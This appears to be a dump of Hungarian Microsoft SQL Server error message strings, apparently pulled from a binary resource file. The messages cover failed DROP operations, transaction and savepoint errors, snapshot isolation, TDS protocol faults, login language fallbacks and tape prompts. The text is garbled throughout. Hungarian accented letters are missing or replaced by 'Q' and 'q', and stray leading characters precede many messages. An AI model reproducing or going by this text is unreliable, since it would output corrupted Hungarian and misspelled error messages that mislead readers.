`Hiba trtnt a(z)  %1!s!  metaadatok feldolgozsakor a kvetkezQ azonostj adatbzishoz: %2!s!, fjlazonost: %3!s!, tranzakci= %4!s! . Tovbbi krnyezet= %5!s! . Hely= %6!s! (%7!s!). Prblja jbl elvgezni a mqveletet. Ha a problma tartsan fennll, forduljon az adatbzis rendszergazdjhoz, s tekintsk t a zrolsok s a memria konfigurcijt. Tekintse t az alkalmazsban esetleg holtponthoz vezetQ tkzseket.

Hiba trtnt a(z)  %1!s!  metaadatok feldolgozsakor a kvetkezQ azonostj adatbzishoz: %2!s!, fjlazonost: %3!s!.

Egy prhuzamos mqvelet nem indthat egy DAC-kapcsolatrl.

xEz a mqvelet egyfjlos adatbzis esetn nem tmogatott.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert az nem ltezik, vagy nnek nincs megfelelQ engedlye:  %3!s!  %2!s!.

A kvetkezQ adatbzis nem dobhat el, mert jelenleg hasznlatban van:  %1!s! .

A(z)  %2!s!  %1!s! nem vlaszthat le, mert jelenleg hasznlatban van.

A DROP %1!s! utasts nem hasznlhat a(z)  %2!s!  elemmel, mert a(z)  %3!s!  egy %4!s!. Hasznlja a kvetkezQt: %5!s!.

Egy adatbzis pillanatkpn nem vgezhetQ el %1!s! mqvelet.

Egy gyans vagy fggQben levQ helyrellts adatbzis nem vlaszthat le. Ki kell javtani, vagy el kell dobni.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert az egy rendszerszintq %4!s!:  %3!s!  %2!s!.

Nem vgezhetQ el %1!s! mqvelet az adatbzison, amg az adatbzis  %2!s!  pillanatkpe hivatkozik r. ElQszr dobja el az adatbzist.

Egy megnyitott adatbzis nem vlaszthat le, ha a kiszolgl minimlisan konfigurlt mdban van.

A(z)  %2!s!  %1!s! nem dobhat el, mert egy vagy tbb %3!s! van hozzktve.

<Egy alaprtelmezett korltozs nem dobhat el a DROP DEFAULT utastssal. Egy alaprtelmezett korltozs eldobshoz hasznlja az ALTER TABLE utastst.

A(z)  %1!s!  tpus nem nevezhetQ t, mert a kvetkezQ objektum hivatkozik r:  %2!s! .

Explicit DROP INDEX mqvelet nem engedlyezett a kvetkezQ indexen:  %1!s! . A rendszer %2!s! korltozs betartatsra hasznlja.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert a rendszer a replikcihoz hasznlja azt:  %3!s!  %2!s!.

A(z)  %1!s!  korltozsra hivatkozik a kvetkezQ tbla:  %2!s! , klsQ kulcsra vonatkoz korltozs:  %3!s! .

A kvetkezQ objektum eldobsa sikertelen volt, mert egy FOREIGN KEY korltozs hivatkozik r:  %1!s! .

\A kvetkezQ nem egy korltozs:  %1!s! .

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert a(z)  %3!s!  objektum hivatkozik r:  %2!s! .

Az alaprtelmezett  %1!s!  korltozs nem dobhat el, amg egy klsQ kulcs SET DEFAULT hivatkozsi mqveletknt hasznlja.

4A(z)  %1!s!  tpus nem dobhat el, mert a kvetkezQ objektum hivatkozik r:  %2!s! . Ms objektumok is lehetnek, amelyek erre a tpusra hivatkoznak.

A(z)  %1!s!  korltozs nem a kvetkezQ tblhoz tartozik:  %2!s! .

Az elsQdleges kulcs  %1!s!  korltozsnak eldobsa sikertelen volt, mert a tblnak XML vagy trbeli indexe van.

,Az elsQdleges kulcs  %1!s!  korltozsa nem dobhat el a(z)  %2!s!  tblban, mert engedlyezve van a vltozskvets a tblra. A vltozskvetshez szksges egy elsQdleges kulcshoz tartoz korltozs a tblban. A korltozs eldobsa elQtt tiltsa le a vltozskvetst.

A kvetkezQ fjl trlse sikertelen volt:  %1!s! . Tovbbi informci az SQL Server hibanapljban olvashat.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQ indexen, mert az nem egy statisztikagyqjtemny:  %2!s! .

A(z)  %2!s!  %1!s! nem dobhat el, mert a tblnak legalbb egy rsze egy csak olvashat fjlcsoportban helyezkedik el.

A(z)  %2!s!  %1!s! nem dobhat el, mert a tblnak legalbb egy rsze egy offline fjlcsoportban helyezkedik el.

,Engedlyezve van az adatbzis-tkrzs a kvetkezQ adatbzishoz:  %1!s! . Az adatbzis eldobsa elQtt meg kell szntetni az adatbzis-tkrzst.

Csak egyetlen zradk engedlyezett egy olyan utastsban, amelyben online mdban dobnak el egy indexet.

pCsak egy frtztt index dobhat el online mdban.

Nem dobhat el a kvetkezQ nzet frtztt indexe, mert a rendszer a replikcihoz hasznlja a nzetet:  %1!s! .

dEgy nzeten ltrehozott frtztt index nem dobhat el a  drop clustered index  zradk hasznlatval. A frtztt  %1!s!  indexet a kvetkezQ nzeten hoztk ltre:  %2!s! .

A nem frtztt  %1!s!  index nem dobhat el a  drop clustered index  zradk hasznlatval.

A(z)  %1!s!  XML index nem dobhat el a rgi  Table.Index  szintaxis hasznlatval, hasznlja helyette az  Index ON Table  szintaxist.

HAz SP_DROPEXTENDEDPROC vagy a DBCC DROPEXTENDEDPROC utasts nem hasznlhat a(z)  %1!s!  elemmel, mert a(z)  %2!s!  egy %3!s!. Hasznlja a kvetkezQt: %4!s!.

tA kvetkezQ adatbzis jelenleg csatlakoztatva van egy rendelkezsre llsi csoporthoz:  %1!s! . Az adatbzis eldobsa elQtt el kell tvoltani azt a rendelkezsre llsi csoportbl.

A(z)  %1!s!  oszlopnv nem klnbzik elgg a kvetkezQ tbla tbbi oszlopnak nevtQl:  %2!s! .

A ltrehozs sikertelen, mert kimertettk az sszes elrhetQ azonostt.

lA(z)  %1!s!  adatbzis frisstse sikertelen, mert a(z) %3!s! azonostj objektumra vonatkoz  %2!s!  index neve megegyezik egy ugyanabban a tblban levQ msik index nevvel.

A(z)  %1!s!  bejelentkezsi azonost frisstse sikertelen, mert a neve vagy biztonsgi azonostja megegyezik egy msik bejelentkezsi azonost vagy kiszolgli szerepkr megfelelQ tulajdonsgval.

A(z)  %2!s!  kiszolgln levQ  %1!s!  tvoli bejelentkezsi azonostra lekpezett helyi bejelentkezsi azonost rvnytelen. A frissts elQtt dobja el s hozza ltre jbl a tvoli bejelentkezsi azonostt.

A(z)  %2!s!  kiszolgln levQ  %1!s!  csatolt bejelentkezsi azonostra lekpezett helyi bejelentkezsi azonost rvnytelen. A frissts elQtt dobja el s hozza ltre jbl a csatolt bejelentkezsi azonostt.

@A kvetkezQ bejelentkezsi azonost frisstse sikertelen, mert a jelszkivonata rvnytelen:  %1!s! . Frissts elQtt frisstse a bejelentkezsi jelszt.

`rvnytelen vagy vratlan zenet rkezett.

Nem tallhat bejegyzs a(z) %1!s! azonostj indexhez a(z) %2!s! azonostj objektumnl a kvetkezQ azonostj adatbzisban: %3!s!. Esetleg megsrlt a sma. Futtassa a DBCC CHECKDB utastst.

lA kvetkezQ objektumra vonatkoz mqvelet le van tiltva:  %1!s! . Az objektum egy rendszer ltal definilt FileTable objektum, amelynek felhasznli mdostsa nem engedlyezett.

Meg kell adni a tranzakci nevt, ha a jellsi kapcsolval hasznlja.

Nem tartozik megfelelQ BEGIN TRANSACTION utasts a COMMIT TRANSACTION krelemhez.

Nem tartozik megfelelQ BEGIN TRANSACTION utasts a ROLLBACK TRANSACTION krelemhez.

Nem szntethetQ meg a(z) %1!s! jelq logikai lap felosztsa a(z)  %2!s!  objektumban, a kvetkezQ adatbzisban:  %3!s! . A kt lap egyttesen tbb adatot tartalmaz, mint amennyi egy lapon elfrne.

A kvetkezQ adatbzis frisstse sikertelen volt, mert az adatbzis csak olvashat:  %1!s! .

TNem sikerlt futtatni a BEGIN TRANSACTION utastst a kvetkezQ adatbzisban, mert az adatbzis vszhelyzeti mdban van, vagy srlt, s jra kell indtani:  %1!s! .

`A munkamenetet ktQ jogkivonat rvnytelen.

|A tranzakci krnyezett egy msik munkamenet hasznlja.

Nem hozhat ltre kts XP-jogkivonat hasznlatval, ha a kiszolgl nem XP-hvsban vesz rszt.

Protokollhiba trtnt a TDS kapcsolatnak alaphelyzetbe lltsakor. Az gyflmeghajt egyszerre krte a kvetkezQk mindegyikt: ResetConnectionKeepLocalXact s ResetConnectionKeepDTCXact. Ez nem vrt egy kiszolgl esetn.

A kvetkezQ adattpus tranzakcik neve s mentsi pontok neve esetn rvnytelen:  %1!s! . Az engedlyezett adattpusok: karakteres, varchar, nchar, varchar(max), nvarchar s nvarchar(max).

A ROLLBACK utasts nem hasznlhat INSERT-EXEC utastson bell.

A COMMIT utasts nem hasznlhat INSERT-EXEC utastson bell, kivve ha elQtte hasznljk a BEGIN TRANSACTION utastst.

A munkamenet egy hasznlatban lvQ tranzakcikrnyezethez van ktve. A ktegben tallhat egyb utastsok figyelmen kvl lettek hagyva.

Az utastst vagy a fggvnyt felhasznli tranzakci krnyezetben kell vgrehajtani.

Nem lehet bejegyzst elhelyezni a tranzakciban, mert a tranzakci mr vglegestve van vagy mr vissza van lltva.

 Nem lehet lekrni a tranzakcik lexiklis elemt, ha nincs aktv tranzakci. A tranzakci elindtsa utn hajtsa vgre jbl az utastst.

Nem lehet bejegyzst elhelyezni a tranzakciban, mert a tranzakci nem ltezik.

A tranzakcijellQ neve rvnytelen. Az  LSN:  elQtag foglalt elQtag.

$Nem sikerlt a megjellt  %1!s!  tranzakci vgrehajtsa. IdQtllps trtnt, amikor a rendszer jellst prblt meg elhelyezni a naplban a megjellt tranzakci vglegestsvel. Ezt a Microsoft Distributed Transaction Coordinator (MS DTC) tranzakciival vagy az egyb elQksztett, de nem vglegestett vagy nem megszaktott helyi megjellt tranzakcikkal kialakult versenyhelyzet okozhatja. Prblja meg jbl vgrehajtani a mqveletet, s ha nem szqnik meg a hiba, hatrozza meg a versenyhelyzet kialakulsnak forrst.

Az egyfelhasznls adatbzisokban nem engedlyezettek az elosztott s a kttt tranzakcik.

0Az aktulis tranzakci nem vglegesthetQ, s nem tudja tmogatni az olyan mqveleteket, amelyek a naplfjlba rnak. lltsa vissza a tranzakcit.

Az aktulis tranzakci nem vglegesthetQ s nem llthat vissza egy mentsi pontra. lltsa vissza a teljes tranzakcit.

A mentsi ponthoz megadott  %1!s!  nv tl hossz. Az engedlyezett maximlis hosszsg %2!s! karakter.

A tranzakci nem alakthat t elosztott tranzakcira, mert egy aktv mentsi pont tallhat a tranzakciban.

Az aktulis felhasznl nem hasznlhatja ezt a FILESTREAM tranzakcikrnyezetet. rvnyes FILESTREAM tranzakcikrnyezet megszerzshez hasznlja a GET_FILESTREAM_TRANSACTION_CONTEXT fggvnyt. 

8Nem sikerlt inicializlni egy FILESTREAM tranzakcikrnyezetet. Ezt erQforrshiny okozhatja. Prblja jbl elvgezni a mqveletet. Hibakd: 0x%1!s!. 

XNem sikerlt vglegesteni a tranzakcit, mert hiba trtnt a FILESTREAM adatok lemezre rtse kzben. Lehetsges, hogy egy fjl meg volt nyitva a vglegests vgrehajtsa kzben, vagy ki-/bemeneti hiba fordult elQ a lemezen. A(z)  %1!s!  az rintett fjlok kztt szerepelt. Hibakd: 0x%2!s!

\Hiba trtnt egy tranzakci visszalltsa kzben, amikor a rendszer visszalltsi rtestst prblt kldeni a FILESTREAM szqrQ illesztQprogramjnak. Hibakd: 0x%1!s!.

TA tranzakci le lett lltva, mert tkzst idzett elQ egy FILESTREAM bezrsi mqvelettel, amely ugyanezt a tranzakcit hasznlta. A tranzakci vissza lesz lltva.

A rendszer nem vglegesthetQ tranzakcit tallt a kteg elejn. A tranzakci vissza lett lltva. Ezt egy hiba okozta, amely egy FILESTREAM krelem vgrehajtsa kzben fordult elQ a tranzakci krnyezetben.

A tranzakci meg lett szaktva, mert mdosult a rendelkezsre llsi msodpldny konfigurcija/llapota, vagy mert folyamatban van azon szellemrekordok trlse az elsQdleges s a msodlagos rendelkezsre llsi msodpldnyon, amelyek szksgesek lehetnek a pillanatkp-elklnts mellett fut lekrdezsekhez. Prblja jbl futtatni a tranzakcit.

Megszakadt a tranzakci a(z)  %2!s!  adatbzis  %1!s!  tbljban levQ, verzival elltott sor elrsekor. A krt, verzival elltott sor nem volt megtallhat, mert az olvashat msodlagos hozzfrs nem engedlyezett a verzi ltrehozsra ksrletet tevQ mqvelet szmra. A problma esetleg az idQztshez kapcsoldik, ezrt ksQbb prblja meg jbl vgrehajtani a lekrdezst.

pA verzitrol ellenQrzsekor idQtllps trtnt a kvetkezQ sor olvassra tett ksrlet kzben. Prblja meg jbl vgrehajtani az utastst, amikor a rendszer kevsb foglalt.

$Nem sikerlt a tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert az utasts pillanatkp-elklnts hasznlatval volt futtatva, de a tranzakci nem pillanatkp-elklntssel volt elindtva. A tranzakci elklntsi szintjt nem mdosthatja pillanatkp-elklntsre a tranzakci elindtst kvetQen, kivve, ha a tranzakci eredetileg a pillanatkp-elklntsi szinten volt elindtva.

A pillanatkp-elklntsi tranzakci nem tudott hozzfrni a(z)  %1!s!  adatbzishoz, mert a pillanatkp-elklnts nem engedlyezett ebben az adatbzisban. Az ALTER DATABASE parancs hasznlatval engedlyezze a pillanatkp-elklntst.

Nem sikerlt a pillanatkp-elklntsi tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert az adatbzis nem volt helyrelltva, amikor az aktulis tranzakci elindult. Az adatbzis helyrelltsa utn prblja meg jbl vgrehajtani a tranzakcit.

A pillanatkp-elklntsi tranzakci nem tudott elindulni a(z)  %1!s!  adatbzisban, mert a pillanatkp-elklntst letilt ALTER DATABASE parancs a tranzakci elindtst megelQzQen lett elindtva. Folyamatban van adatbzis OFF llapotra lltsa. Mdostania kell a tranzakci elklntsi szintjt, vagy jbl engedlyeznie kell a pillanatkp-elklntst az adatbzisban.

Nem sikerlt a pillanatkp-elklntsi tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert ki lett hagyva az adatbzis helyrelltsa. Az adatbzist helyre kell lltania, mielQtt futtatn a tranzakcit a pillanatkp-elklnts hasznlatval.

A pillanatkp-elklntsi tranzakci nem tudott elindulni a(z)  %1!s!  adatbzisban, mert a pillanatkp-elklntst engedlyezQ ALTER DATABASE parancs vgrehajtsa mg nem fejezQdtt be az adatbzisban. Folyamatban van az adatbzis ON llapotra lltsa. Vrnia kell, amg be nem fejezQdik az ALTER DATABASE parancs vgrehajtsa.

Nem sikerlt a pillanatkp-elklntsi tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert az adatbzis nem engedlyezte a pillanatkp-elklntst, amikor az aktulis tranzakci elindult. Prblja meg jbl elindtani a tranzakcit.

A tranzakci vgrehajtsa megszakadt a(z)  %2!s!  adatbzis  %1!s!  tbljban tallhat, verzival elltott sor elrsekor. A verzival elltott sor nem tallhat. Valsznqleg elfogyott a tempdb adatbzis szabad terlete. Az online knyvekben olvashat arrl, hogyan lehet belltani a tempdb adatbzist a verzikezelshez.

|A pillanatkp-elklntsi tranzakci vgrehajtsa megszakadt egy frisstsi tkzs miatt. Pillanatkp-elklnts hasznlatval nem frhet hozz kzvetlenl vagy kzvetetten a(z)  %2!s!  adatbzis  %1!s!  tbljhoz egy msik tranzakci ltal mdostott vagy trlt sor frisstse, trlse vagy beszrsa cljbl. Prblja meg jbl vgrehajtani a tranzakcit, vagy mdostsa a frisstsi, illetve trlsi utasts elklntsi szintjt.

Nem sikerlt a pillanatkp-elklntsi tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert az utasts ltal elrt objektumot a tranzakci elindtsa ta egy msik tranzakciban lvQ DDL-utasts mdostotta. Ez nem engedlyezett, mert a metaadatok nincsenek verzival elltva. A metaadatok prhuzamos frisstse inkonzisztencit okozhat, ha a pillanatkp-elklnts is rvnyben van.

Nem engedlyezett a kts egy msik tranzakcihoz, mikzben az SQL Server belsQ lekrdezsnek vgrehajtsa van folyamatban. EllenQrizze a bejelentkezsi esemnyindt defincijt, s tvoltsa el az sp_bindsession trolt eljrsokat, ha vannak ilyenek. Ha ez a hiba nem a bejelentkezsi esemnyindt vgrehajtsa kzben fordul elQ, forduljon a termktmogatsi csapathoz.

DNem sikerlt a tranzakci vgrehajtsa a(z)  %1!s!  adatbzisban, mert az elosztott tranzakcik nem tmogatottak a pillanatkp-elklnts hasznlata esetn.

$Nem sikerlt a tranzakci vgrehajtsa, mert ez a DDL-utasts nem engedlyezett pillanatkp-elklntsi tranzakcin bell. A metaadatok nincsenek verzival elltva, ezrt a metaadatok mdostsa inkonzisztencit okozhat, ha a pillanatkp-elklnts is rvnyben van.

A PROMOTE TRANSACTION krelem sikertelen, mert nincs aktv helyi tranzakci.

A tranzakci vissza lett lltva a verzitrol elrsekor. A tranzakci korbban megszntetsre volt jellve, amikor a verzitrol mrete cskkentve lett amiatt, hogy kevs volt a hely a tempdb adatbzisban. Ez a tranzakci azrt lett megjellve megszntetsre, mert olyan verzij sorokra lehet szksge, amelyek mr el lettek tvoltva a tempdb adatbzisban rendelkezsre ll szabad terlet nvelse cljbl. Prblja meg jbl vgrehajtani a tranzakcit.

dNincs elegendQ szabad hely a tempdb adatbzisban a sorverzik trolshoz. A verzitrol mretnek cskkentsvel fel kell szabadtani valamennyi helyet a tempdb adatbzisban. A tranzakci (azonost=%1!s! xsn=%2!s! spid=%3!s! elapsed_time=%4!s!) megszntetsre lett megjellve, s vissza lesz lltva, ha hozzfr a verzitrolhoz. Ha a problma tartsan fennll, valsznqleg helytelen a tempdb adatbzis mrete, vagy hossz ideig futnak a tranzakcik. Az online knyvekben olvashat arrl, hogyan lehet belltani a tempdb adatbzist a verzikezelshez.

Az elosztott tranzakcik nem tmogatottak az SQL Server belsQ lekrdezsnek futtatsakor. EllenQrizze a bejelentkezsi esemnyindt defincijt, s tvoltsa el az elosztott tranzakcikat, ha vannak ilyenek. Ha ez a hiba nem a bejelentkezsi esemnyindt vgrehajtsa kzben jelentkezik, forduljon a termktmogatsi csapathoz.

A mqvelet tkzik egy msik folyamatban lvQ mqvelettel a tranzakciban. Nem sikerlt a mqvelet vgrehajtsa.

A kiszolgl nem tudta folytatni a tranzakcit. Lers: %1!s!.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. A tranzakcikezelQ esemnynek hosszsga nem megfelelQ. Esemnytpus: %1!s!. Vrt hosszsg: %2!s!. Tnyleges hosszsg: %3!s!.

Az adatbzist jelenleg egy msik szl hasznlja kizrlagos mdban ugyanazon a munkaterleten. Nem sikerlt a mqvelet vgrehajtsa.

DAz adott munkaterleten kizrlagos mdban hasznlhat adatbzisok szma korltozott. Nem sikerlt a mqvelet vgrehajtsa, mert tl lett lpve a korltozs.

A varchar(max) adattpus nem tmogatott az sp_getbindtoken trolt eljrs esetben. A kteg vgrehajtsa megszakadt.

A tranzakcinv hosszsga pratlan szm: %1!s!. A kteg vgrehajtsa megszakadt.

A mentsi pont neve nem lehet NULL rtkq. A kteg vgrehajtsa megszakadt.

j tranzakci elindtsa nem engedlyezett a mentsi pontra val visszallts utn.

A tranzakcikezelQ krelme hosszabb a vrtnl. A krelem nincs feldolgozva.

Nem sikerlt a krelem futtatsa, mert a kteg vgrehajtsa megszakadt. Ezt az gyfl ltal kldtt megszaktsi jel okozhatja, vagy az, hogy egy msik krelem is fut ugyanabban a munkamenetben, ami lefoglalja a munkamenetet.

Nem hajthat vgre a tranzakci mqvelete, mert fggQ krelmek hasznljk a tranzakcit.

j tranzakci elindtsa nem engedlyezett, amg van aktv DTC-beli vagy kttt tranzakci.

Nem sikerlt a mqvelet vgrehajtsa, mert a munkamenet nem egyszlas.

Tranzakcivlts kzben nem lehet adatbzis-zrolst szerezni.

PHiba trtnt a tranzakcikrnyezet megvltoztatsa kzben. Ezt ltalban az okozza, hogy kevs a memria a rendszerben. Prbljon meg tbb memrit felszabadtani.

A tranzakci idQblyegzQi rvnyket vesztettk. Indtsa jra a kiszolglt.

j tranzakci elindtsa nem engedlyezett, mert ms szlak futnak a munkamenetben.

Az j krelem elindtsa nem engedlyezett, mert rvnyes tranzakcilernak kellene tartoznia hozz.

A tranzakci nem vglegesthetQ felhasznl ltal definilt rutinban, esemnyindtban vagy sszestsben, mert a tranzakci nem azon a CLR-szinten kell elindtva. Mdostsa gy az alkalmazslogikt, hogy korltoz tranzakcibegyazst knyszertsen.

(A felhasznl ltal definilt  %1!s!  rutinba, esemnyindtba vagy sszestsbe val belps elQtt aktv krnyezeti tranzakci sajt magn bell fejezQdtt be, ami nem engedlyezett. Mdostsa gy az alkalmazslogikt, hogy korltoz tranzakcibegyazst knyszertsen.

`A tranzakciszm %1!s! darabrl %2!s! darabra vltozott a felhasznl ltal definilt  %3!s!  rutinban, esemnyindtban vagy sszestsben. Ez nem engedlyezett, s a felhasznli tranzakci vissza lesz lltva. Mdostsa gy az alkalmazslogikt, hogy korltoz tranzakcibegyazst knyszertsen.

\A felhasznl ltal definilt  %1!s!  rutinban, esemnyindtban vagy sszestsben elindtott felhasznli tranzakci nem fejezQdtt be a kilpsekor. Ez nem engedlyezett, s a tranzakci vissza lesz lltva. Mdostsa gy az alkalmazslogikt, hogy korltoz tranzakcibegyazst knyszertsen.

tA felhasznl ltal definilt rutin, esemnyindt vagy sszests megprblt visszalltani egy tranzakcit, amely nem az adott CLR-szinten volt elindtva. A rendszer kivtelt fog jelezni, hogy megakadlyozza a felhasznl ltal definilt rutin, esemnyindt vagy sszests tovbbi rsznek vgrehajtst.

Ismeretlen tranzakcielklntsi szint: %1!s!, az rvnyes tartomny a kvetkezQ: 0 5.

LA pillanatkp-elklntsi szint nem tmogatott az elosztott tranzakcik esetben. Hasznljon ms elklntsi szintet, vagy ne hasznljon elosztott tranzakcit.

Egy MARS-ktegben elindtott tranzakci mg mindig aktv a kteg vgn. A tranzakci vissza lesz lltva.

Nem vglegesthetQ tranzakci tallhat a kteg vgn. A tranzakci vissza lesz lltva.

TNem sikerlt kirteni a lemezre a(z) %1!s! azonostj adatbzis vglegestsi tbljt a kvetkezQ hiba miatt: %2!s!. A tovbbi rszleteket a hibanaplban tallja.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. Az adatfolyam vratlanul befejezQdtt.

A csak Unicode-rendezsben tallhat Unicode-adatok vagy az ntext (vltoz hosszsg szveges) tpus adatok nem kldhetQk el az gyfeleknek adatbzis-fggvnytr (pldul az ISQL), illetve az ODBC 3.7-es vagy korbbi verzijnak hasznlatval.

Egyetlen frisstsi hvsban nem lehet frissteni tbb alapul szolgl tbla oszlopait.

Egyetlen trlsi hvsban nem lehet sorokat trlni tbb alapul szolgl tblbl.

Nem lehet frissteni vagy beszrni a kvetkezQ oszlopot:  %1!s! . Lehet, hogy az oszlop egy kifejezs.

Az SQL Server 2005 verzinl korbbi gyfl-illesztQprogramok nem hasznlhatjk a COMPUTE zradkban a varchar(max), az nvarchar(max), a varbinary(max) s az XML adattpust. Kldje el jbl a lekrdezst jabb gyfl-illesztQprogram hasznlatval.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. A TDS-fejlcek hibkat tartalmaznak.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. A lekrdezsrtestsi TDS-fejlcek hibkat tartalmaz.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. A MARS TDS-fejlc hibkat tartalmaz.

A rendszer a tabullt adatfolyam (TDS) rvnytelen rendezst szlelte.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. Hinyzik a tbb aktv eredmnykszlet (MARS) TDS-fejlce.

LHelyrellthatatlan hiba trtnt a hlzatbl rkezQ bemeneti adatfolyam olvassa kzben. A munkamenet befejezQdik (bemeneti hiba: %1!s!, kimeneti hiba: %2!s!).

xA(z)  %1!s!  bejelentkezsi azonostban krt nyelv nem hivatalos nv ebben az SQL Server rendszerben. A rendszer az egsz kiszolglra rvnyes alaprtket hasznlja helyette: %2!s!.

XA(z)  %1!s!  bejelentkezsi azonostban krt nyelv nem hivatalos nv ebben az SQL Server rendszerben. A rendszer a felhasznli alaprtket hasznlja helyette: %2!s!.

Sem a(z)  %1!s!  bejelentkezsi azonostban krt nyelv, sem a felhasznli alaprtkknt megadott %2!s! nyelv nem hivatalos nv ebben az SQL Server rendszerben. A rendszer az egsz kiszolglra rvnyes alaprtket hasznlja helyette: %3!s!.

tA felhasznli alaprtkknt megadott %1!s! nyelv nem hivatalos nv ebben az SQL Server rendszerben. A rendszer az egsz kiszolglra rvnyes alaprtket hasznlja helyette: %2!s!.

A(z)  %1!s!  bejelentkezsi azonostban krt nyelv nem hivatalos nv ebben az SQL Server rendszerben. A bejelentkezs sikertelen.

A(z) %2!s! nyelv alaprtelmezett  %1!s!  dtumsorrendje rvnytelen. A rendszer a HN sorrendet hasznlja helyette.

A kapcsolat alaphelyzetbe lltsa az elsQ bejelentkezs llapottl klnbzQ llapotot eredmnyez. A bejelentkezs sikertelen.

A rendszer tmeges betltsq adatokat vrt, de nem rkeztek ilyen adatok. A kteg vgrehajtsa befejezQdik.

Csatlakoztassa a(z)  %2!s!  adatbzis  %1!s!  objektumnak szalagjt a(z)  %3!s!  szalagos meghajtn.

 A szalag a vgre rt. Tvoltsa el a(z)  %1!s!  szalagot, s csatlakozassa a(z)  %3!s!  adatbzis %2!s! objektumnak kvetkezQ szalagjt.

A felhasznl ltal megadott  %1!s!  MEDIANAME tulajdonsg nem egyezik a(z)  %3!s!  eszkz  %2!s!  MEDIANAME tulajdonsgval.

A(z) %1!s! azonostj fjl nem tallhat a kvetkezQ eszkzn:  %2!s! .

Nem lehet megnyitni a bejelentkezsi azonost ltal krt  %1!s!  adatbzist. A bejelentkezs sikertelen.

\Nem lehet megnyitni sem a bejelentkezsi azonost ltal krt  %1!s!  adatbzist, sem a felhasznli alaprtelmezett adatbzist. A fQadatbzist lehet hasznlni helyette.

Nem lehet megnyitni a felhasznli alaprtelmezett adatbzist. A fQadatbzist lehet hasznlni helyette.

<Nem lehet megnyitni a bejelentkezsi azonost ltal krt  %1!s!  adatbzist. A felhasznli alaprtelmezett  %2!s!  adatbzist lehet hasznlni helyette.

Nem lehet megnyitni a felhasznli alaprtelmezett adatbzist. A bejelentkezs sikertelen.

A felhasznl a mqveleti adattrol (ODS) hasznlatval tett ksrletet a(z)  %1!s!  hasznlatra. Ez mr nem tmogatott.

65535-nl nagyobb tpusazonostk nem kldhetQk el az SQL Server 2000 rendszerrel s a korbbi verzikkal szlltott gyfeleknek.

Nem sikerlt a CLR-beli tpus szerializlsa, mert rvnytelen cookie volt megadva.

lAz sp_resetconnection trolt eljrs egy tvoli eljrshvsi (RPC) kteg rszeknt volt elkldve, de nem az utols tvoli eljrshvs volt a ktegben. A kapcsolat befejezQdik.

 A kimeneti paramter vgsQ rtke null volt, s nem lehetett elkldeni egy 6.5-s verzij gyflnek, amely nem nullzhat paramtert vrt.

255-nl tbb oszlop van megadva a COMPUTE zradkban, s ezek a metaadatok nem kldhetQk el az SQL Server 6.5-s verzij gyfeleinek.

$A varchar(max), nvarchar(max), varbinary(max) s XML adattpusba, illetve ms nagymretq objektumtpusba tartoz visszaadott rtket nem lehet SQL Server 2005 elQtti gyflmeghajtnak visszakldeni. Kldje el jra a krelmet jabb verzij gyflmeghajt segtsgvel.

Az gyfeleken lvQ meghajt nem fogad el olyan eredmnyhalmazt, amelyben tbb mint 65 535 oszlop tallhat.

A USE adatbzis-utasts vgrehajtsa meghisult, mert a(z) %1!s! adatbzis-rendezst nem ismerik fel a rgebbi gyflmeghajtk. Prblja meg frissteni az gyfl opercis rendszert, illetve alkalmazzon szervizcsomagos frisstst az adatbzis gyflszoftvern, vagy hasznljon ms rendezst. A rendezs mdostsra vonatkoz tovbbi tudnivalkat az SQL Server online knyvekben olvashat.

 Az ALTER DATABASE utasts vgrehajtsa meghisult, mert a(z) %1!s! adatbzis-gyqjtemnyt nem ismerik fel a rgebbi gyflmeghajtk. Prblja meg frissteni az gyfl opercis rendszert, illetve alkalmazzon szervizcsomagos frisstst az adatbzis gyflszoftvern, vagy hasznljon ms rendezst. A rendezs mdostsra vonatkoz tovbbi tudnivalkat az SQL Server online knyvekben olvashat.

,Az utasts vgrehajtsa meghisult, mert az sql_variant rtk %1!s! rendezst hasznl, amelyet nem ismernek fel a rgebbi gyflmeghajtk. Prblja meg frissteni az gyfl opercis rendszert, illetve alkalmazzon szervizcsomagos frisstst az adatbzis gyflszoftvern, vagy hasznljon ms rendezst. A rendezs mdostsra vonatkoz tovbbi tudnivalkat az SQL Server online knyvekben olvashat.

PAz utasts vgrehajtsa meghisult, mert a(z)  %1!s!  oszlopban (ID=%2!s!) a(z) %3!s! rendezs rvnyes, amelyet nem ismernek fel a rgebbi gyflmeghajtk. Prblja meg frissteni az gyfl opercis rendszert, illetve alkalmazzon szervizcsomagos frisstst az adatbzis gyflszoftvern, vagy hasznljon ms rendezst. A rendezs mdostsra vonatkoz tovbbi tudnivalkat az SQL Server online knyvekben olvashat.

Az utasts vgrehajtsa az adatfolyam kldsekor fellpQ aritmetikai tlcsorduls miatt meghisult.

A bejvQ tabullt adatfolyam (TDS) protokollja helytelen. A TRACE TDS-fejlc hibkat tartalmaz.

A rendszer gy tlte meg, hogy a(z)  %1!s!  paramter egy tblzat rtkq paramter, amely azonban nem kldhetQ el az gyflmeghajt SQL Server 2008-asnl korbbi verziival. Kldje el a lekrdezst jbl az gyflmeghajt frissebb verzijval.

APPLY utasts jobb oldaln szereplQ sszestsek nem hivatkozhatnak bal oldali oszlopokra.

$A READPAST zrolsi mutat csak UPDATE s DELETE cltblk esetben, tovbb explicit FROM zradkban megadott tblk esetben engedlyezett.

| %1!s! : Ideiglenes nzetek hasznlata nem engedlyezett.

hA(z)  %1!s!  tbbrszes azonost nem kthetQ.

0Ebben a krnyezetben nem engedlyezett felhasznl ltal definilt fggvnyt, partcis fggvnyt, illetve oszlophivatkozst foglalni kifejezsbe.

